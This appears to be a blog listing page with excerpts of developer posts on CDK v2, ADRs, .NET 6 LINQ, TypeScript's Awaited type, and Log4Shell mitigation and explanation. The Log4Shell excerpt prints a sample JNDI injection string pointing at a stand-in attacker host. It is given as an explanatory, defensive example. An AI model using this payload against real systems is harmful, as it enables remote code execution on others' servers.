Cloud Development Kit (CDK) v2 consolidates the library. No more `aws-cdk.aws-s3` separate packages.
Read more βAuthor: Nithin Mohan TK
Architecture Decision Records (ADRs): Documenting the Why
Code comments explain *what*, but not *why* a particular architectural decision was made. **ADRs** are lightweight Markdown documents capturing context, options considered, and the decision chosen. ADR Template Key Takeaways Store ADRs in the repo (`docs/adr/`). ADRs are immutable. If a decision changes, write a new ADR superseding the old one.
Read more β.NET 6 Linq Improvements: MaxBy and MinBy
A small but frequent annoyance in LINQ was finding the object with the max value. Previously, we had doing `OrderByDescending(x => x.Val).First()`, which is O(N log N). .NET 6 adds `MaxBy` and `MinBy`. This is O(N) and much more readable. Other additions include `Chunk()` for splitting lists into batches.
Read more βTypeScript 4.5: The Awaited Type
TypeScript 4.5 adds the `Awaited<T>` utility type. It recursively unwraps Promises. This is extremely helpful when you need to type the result of a library function that returns a Promise, but the library doesn’t export the return value interface.
Read more βMitigating Log4Shell in Azure
If you cannot patch instantly, use WAF. Azure Front Door: Rule set newly updated to block JNDI strings. Azure Firewall: IDPS signatures updated.
Read more βLog4Shell Explained (CVE-2021-44228)
Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]
Read more β